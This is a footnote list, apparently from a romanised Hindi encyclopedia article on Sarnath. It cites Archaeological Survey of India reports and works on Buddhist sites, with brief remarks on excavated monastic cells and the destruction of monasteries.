  11. ↑ arkiyolajikalh sarve aauf iandiya (varshik riport), 1904-5, pri. 59 aur age.
  12. ↑ bi. majoomadar, e gaid too saranath, (dilli, 1937), pri. 25
  13. ↑ arkiyolajikalh sarve aphh iandiya (varshik riport), 1914-15 (1920) pri. 97 aur age.
  14. ↑ tatraiv, 1919-20 (1922), pri. 26 aur age: tatraiv, 1921-22, pri.82 aur age: tatraiv 1927 (1931), pri. 92
  15. ↑ vidvanoan ka pahale aisa mat tha ki yah mandir se pani nikalane ke lie ek nali thi. utkhanan se yah nishchit ho gaya ki yah ek surang thi jo ek kamare mean jati thi, jahaan bauddh bhikshu ekaant sadhana karate the.
  16. ↑ semual bil, chainij ekauantsh aphh iandiya, bhag 3, pri. 297
  17. ↑ arkiyolajikalh sarve aphh iandiya, (varshik riport), 1904-05, pri. 74 jarnal yoo.pi.hi.so., bhag 15, pri. 55-64
  18. ↑ eshiyatik risarchej, 5, pri. 131-132 dekhean- motichandr, kashi ka itihas, pri. 54
  19. ↑ arkiyolajikalh sarve aphh iandiya, varshik riport, 1903-04, pri. 221
  20. ↑ thamas vatars, anh yuvanh chvaangsh trevelsh in iandiya, bhag do, pri. 47
  21. ↑ arkiyolajikal sarve aphh iandiya (varshik riport), 1905-06, pri. 68
  22. ↑ arkiyolajikal sarve aauf iandiya (varshik riport), 1904-5, pri. 69
  23. ↑ tatraiv, pri. 70
  24. ↑ tatraiv, 1907-08, pri. 45
  25. ↑ arkiyolajikal sarve aauf iandiya (varshik riport), 1907-08, pri. 46
  26. ↑ jaisa ki pahale ullekh kiya ja chuka hai ki in kamaroan mean bauddh bhikshu ekaant sadhana karate the.
  27. ↑ arkiyolajikal sarve aauf iandiya (varshik riport), 1907-08, pri. 54
  28. ↑ arkiyolajikal sarve aauf iandiya (varshik riport), 1907-08, pri. 56
  29. ↑ tatrev, pri. 59. rachana mean ye tinoan sangharam saranath ke any viharoan se milate-julate haian. sanbhavat: ye vihar kushan kal mean nirmit hue aur inaka vartaman svaroop guptakal mean prapt hua. at: yah nishchit hai ki ye sangharam pahale 5vian shatabdi mean hoonoan ke akraman se nasht hua. taduparaant chhathi shatabdi mean pun: inaka jirnoddhar hua jo pun: 11 vian shatabdi mean musalamanoan ke akraman se nasht ho gaya.
  30. ↑ arkiyolajikal sarve aauf iandiya (varshik riport), 1904-05, pri. 74
  31. ↑ vi. jayasaval, akatha : e saitelaia setilament aauf saranath, varanasi (riport aauf eksakaiveshans kandakted in d iyar 2002), bharati, aank 26, 2000-2002, pri. 61-180.
  32. ↑ piyavagg, bagg: 16, buddhaghosh-rachit tika
  33. ↑ chaukhandi stoop ke nirmata ka thik-thik pata nahian hai. kaniangham ne is stoop ka utkhanan dvara anusandhan kiya bhi tha, kiantu koee avashesh n mile
  34. ↑ arkiyalojikal riport 1904-05

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